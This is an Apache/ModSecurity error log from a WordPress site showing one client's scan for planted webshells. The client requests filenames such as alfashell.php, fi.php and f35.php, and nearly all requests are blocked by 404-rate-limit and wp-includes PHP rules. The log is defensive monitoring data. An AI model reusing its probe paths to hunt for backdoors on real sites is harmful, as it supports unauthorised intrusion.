[Sun Apr 12 01:33:59.230707 2026] [:error] [pid 36938:tid 36962] [client 158.158.55.67:60766] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "adqGB4SWpa_VL1JPU6zciwAAAZY"]
[Sun Apr 12 01:33:59.995267 2026] [:error] [pid 44701:tid 44796] [client 158.158.55.67:30802] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "adqGBxGZAP4MrlxEPFc5bAAAAFU"]
[Sun Apr 12 01:34:00.783294 2026] [:error] [pid 44701:tid 44789] [client 158.158.55.67:14755] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/"] [unique_id "adqGCBGZAP4MrlxEPFc5bgAAAE4"]
[Sun Apr 12 01:34:01.949582 2026] [:error] [pid 44701:tid 44798] [client 158.158.55.67:39447] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "adqGCRGZAP4MrlxEPFc5cQAAAFY"]
[Sun Apr 12 01:34:03.131287 2026] [:error] [pid 44700:tid 44765] [client 158.158.55.67:39444] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "adqGC2ryPgh_uW4QPCllbQAAANU"]
[Sun Apr 12 01:34:04.022722 2026] [:error] [pid 34152:tid 34175] [client 158.158.55.67:29509] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "adqGDIFtE4RhFslT1Dq9yQAAABU"]
[Sun Apr 12 01:34:04.827183 2026] [:error] [pid 45064:tid 45099] [client 158.158.55.67:40161] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wen.php"] [unique_id "adqGDJcHBvLyJ6EUhUr9zQAAAUc"]
[Sun Apr 12 01:34:05.494219 2026] [:error] [pid 36938:tid 36947] [client 158.158.55.67:40163] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "adqGDYSWpa_VL1JPU6zcnAAAAYc"]
[Sun Apr 12 01:34:06.480364 2026] [:error] [pid 36909:tid 36930] [client 158.158.55.67:40154] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "adqGDkGk5GhxTCzHUOoXSwAAARM"]
[Sun Apr 12 01:34:07.145602 2026] [:error] [pid 44701:tid 44777] [client 158.158.55.67:49127] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "adqGDxGZAP4MrlxEPFc5fwAAAEU"]
[Sun Apr 12 01:34:07.740388 2026] [:error] [pid 44700:tid 44748] [client 158.158.55.67:60164] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "adqGD2ryPgh_uW4QPCllbwAAAMQ"]
[Sun Apr 12 01:34:08.509272 2026] [:error] [pid 44701:tid 44795] [client 158.158.55.67:55573] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "adqGEBGZAP4MrlxEPFc5hgAAAFQ"]
[Sun Apr 12 01:34:09.142111 2026] [:error] [pid 44700:tid 44762] [client 158.158.55.67:40139] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "adqGEWryPgh_uW4QPCllcwAAANI"]
[Sun Apr 12 01:34:10.198972 2026] [:error] [pid 44701:tid 44790] [client 158.158.55.67:20272] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "adqGEhGZAP4MrlxEPFc5iAAAAE8"]
[Sun Apr 12 01:34:10.950246 2026] [:error] [pid 44701:tid 44789] [client 158.158.55.67:15095] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/fi.php"] [unique_id "adqGEhGZAP4MrlxEPFc5jQAAAE4"]
[Sun Apr 12 01:34:11.630774 2026] [:error] [pid 36909:tid 36929] [client 158.158.55.67:55609] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "adqGE0Gk5GhxTCzHUOoXTAAAARI"]
[Sun Apr 12 01:34:12.322648 2026] [:error] [pid 44701:tid 44794] [client 158.158.55.67:18300] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "adqGFBGZAP4MrlxEPFc5mAAAAFM"]
[Sun Apr 12 01:34:13.181482 2026] [:error] [pid 44701:tid 44800] [client 158.158.55.67:49132] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "adqGFRGZAP4MrlxEPFc5nAAAAFg"]
[Sun Apr 12 01:34:14.057821 2026] [:error] [pid 44700:tid 44746] [client 158.158.55.67:60191] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fe5.php"] [unique_id "adqGFmryPgh_uW4QPClldQAAAMI"]
[Sun Apr 12 01:34:14.807283 2026] [:error] [pid 44700:tid 44751] [client 158.158.55.67:13332] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adqGFmryPgh_uW4QPClldwAAAMc"]
[Sun Apr 12 01:34:15.516389 2026] [:error] [pid 44701:tid 44771] [client 158.158.55.67:18291] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adqGFxGZAP4MrlxEPFc5nQAAAEA"]
[Sun Apr 12 01:34:16.344132 2026] [:error] [pid 44700:tid 44749] [client 158.158.55.67:49097] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adqGGGryPgh_uW4QPCllegAAAMU"]
[Sun Apr 12 01:34:16.980388 2026] [:error] [pid 36909:tid 36921] [client 158.158.55.67:18267] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "adqGGEGk5GhxTCzHUOoXVwAAAQo"]
[Sun Apr 12 01:34:17.628137 2026] [:error] [pid 45064:tid 45093] [client 158.158.55.67:60213] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adqGGZcHBvLyJ6EUhUr91AAAAUE"]
[Sun Apr 12 01:34:18.261891 2026] [:error] [pid 44701:tid 44785] [client 158.158.55.67:20235] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adqGGhGZAP4MrlxEPFc5qAAAAEs"]
[Sun Apr 12 01:34:18.961603 2026] [:error] [pid 45064:tid 45106] [client 158.158.55.67:55597] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adqGGpcHBvLyJ6EUhUr91gAAAU0"]
[Sun Apr 12 01:34:20.232770 2026] [:error] [pid 36909:tid 36930] [client 158.158.55.67:47506] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/av.php"] [unique_id "adqGHEGk5GhxTCzHUOoXWAAAARM"]
[Sun Apr 12 01:34:21.181743 2026] [:error] [pid 36938:tid 36950] [client 158.158.55.67:13611] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "adqGHYSWpa_VL1JPU6zcwgAAAYo"]
[Sun Apr 12 01:34:21.888601 2026] [:error] [pid 44701:tid 44777] [client 158.158.55.67:49145] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "adqGHRGZAP4MrlxEPFc5tQAAAEU"]
[Sun Apr 12 01:34:22.944724 2026] [:error] [pid 36909:tid 36924] [client 158.158.55.67:40135] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "adqGHkGk5GhxTCzHUOoXWQAAAQ0"]
[Sun Apr 12 01:34:23.573608 2026] [:error] [pid 44701:tid 44794] [client 158.158.55.67:55560] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "adqGHxGZAP4MrlxEPFc5vQAAAFM"]
[Sun Apr 12 01:34:24.489365 2026] [:error] [pid 44700:tid 44750] [client 158.158.55.67:47498] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fi.php"] [unique_id "adqGIGryPgh_uW4QPClljAAAAMY"]
[Sun Apr 12 01:34:26.033385 2026] [:error] [pid 34152:tid 34173] [client 158.158.55.67:18297] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fi.php"] [unique_id "adqGIoFtE4RhFslT1Dq95AAAABM"]
[Sun Apr 12 01:34:27.267682 2026] [:error] [pid 44701:tid 44786] [client 158.158.55.67:17649] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fi.php"] [unique_id "adqGIxGZAP4MrlxEPFc5yAAAAEw"]
[Sun Apr 12 01:34:28.195419 2026] [:error] [pid 36909:tid 36932] [client 158.158.55.67:13626] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fi.php"] [unique_id "adqGJEGk5GhxTCzHUOoXXQAAARU"]
[Sun Apr 12 01:34:28.961156 2026] [:error] [pid 36938:tid 36964] [client 158.158.55.67:33015] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "adqGJISWpa_VL1JPU6zcyAAAAZg"]
[Sun Apr 12 01:34:29.782331 2026] [:error] [pid 44700:tid 44766] [client 158.158.55.67:16790] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "adqGJWryPgh_uW4QPCllkQAAANY"]
[Sun Apr 12 01:34:30.628447 2026] [:error] [pid 44698:tid 44721] [client 158.158.55.67:15086] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "adqGJhgoH9UWd-U3D55glAAAAJI"]
[Sun Apr 12 01:34:31.493110 2026] [:error] [pid 44700:tid 44755] [client 158.158.55.67:60203] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a1.php"] [unique_id "adqGJ2ryPgh_uW4QPClllgAAAMs"]
[Sun Apr 12 01:34:32.709334 2026] [:error] [pid 44698:tid 44724] [client 158.158.55.67:15068] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "adqGKBgoH9UWd-U3D55gmQAAAJU"]
[Sun Apr 12 01:34:33.908483 2026] [:error] [pid 45064:tid 45097] [client 158.158.55.67:32974] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "adqGKZcHBvLyJ6EUhUr95gAAAUU"]
[Sun Apr 12 01:34:35.047811 2026] [:error] [pid 36938:tid 36956] [client 158.158.55.67:16804] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "adqGK4SWpa_VL1JPU6zc0AAAAZA"]
[Sun Apr 12 01:34:35.864893 2026] [:error] [pid 36938:tid 36940] [client 158.158.55.67:15077] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/f35.php"] [unique_id "adqGK4SWpa_VL1JPU6zc1gAAAYA"]
[Sun Apr 12 01:34:36.654265 2026] [:error] [pid 36909:tid 36932] [client 158.158.55.67:45488] [client 158.158.55.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "adqGLEGk5GhxTCzHUOoXaQAAARU"]
[Sun Apr 12 01:34:37.506131 2026] [:error] [pid 34152:tid 34172] [client 158.158.55.67:35011] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "adqGLYFtE4RhFslT1Dq98AAAABI"]
[Sun Apr 12 01:34:38.342066 2026] [:error] [pid 44701:tid 44792] [client 158.158.55.67:60190] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "adqGLhGZAP4MrlxEPFc51wAAAFE"]
[Sun Apr 12 01:34:39.404009 2026] [:error] [pid 34152:tid 34173] [client 158.158.55.67:20279] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "adqGL4FtE4RhFslT1Dq98gAAABM"]
[Sun Apr 12 01:34:40.735579 2026] [:error] [pid 36938:tid 36963] [client 158.158.55.67:20275] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f35.php"] [unique_id "adqGMISWpa_VL1JPU6zc5gAAAZc"]
[Sun Apr 12 01:34:41.752193 2026] [:error] [pid 36909:tid 36914] [client 158.158.55.67:47540] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "adqGMUGk5GhxTCzHUOoXcAAAAQM"]
[Sun Apr 12 01:34:42.611105 2026] [:error] [pid 44698:tid 44713] [client 158.158.55.67:18270] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "adqGMhgoH9UWd-U3D55goAAAAIo"]
[Sun Apr 12 01:34:43.633410 2026] [:error] [pid 36938:tid 36941] [client 158.158.55.67:49099] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "adqGM4SWpa_VL1JPU6zc6gAAAYE"]
[Sun Apr 12 01:34:44.395054 2026] [:error] [pid 44701:tid 44787] [client 158.158.55.67:36110] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/index.php"] [unique_id "adqGNBGZAP4MrlxEPFc55QAAAE0"]
[Sun Apr 12 01:34:45.147605 2026] [autoindex:error] [pid 44701:tid 44785] [client 158.158.55.67:13352] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/SimplePie/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Apr 12 01:35:00.731105 2026] [:error] [pid 44701:tid 44777] [client 158.158.55.67:13352] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "adqGRBGZAP4MrlxEPFc6LgAAAEU"]
[Sun Apr 12 01:35:01.386087 2026] [:error] [pid 36938:tid 36941] [client 158.158.55.67:16257] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "adqGRYSWpa_VL1JPU6zc-AAAAYE"]
[Sun Apr 12 01:35:01.953583 2026] [:error] [pid 34152:tid 34175] [client 158.158.55.67:36826] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfashell.php"] [unique_id "adqGRYFtE4RhFslT1Dq-QgAAABU"]
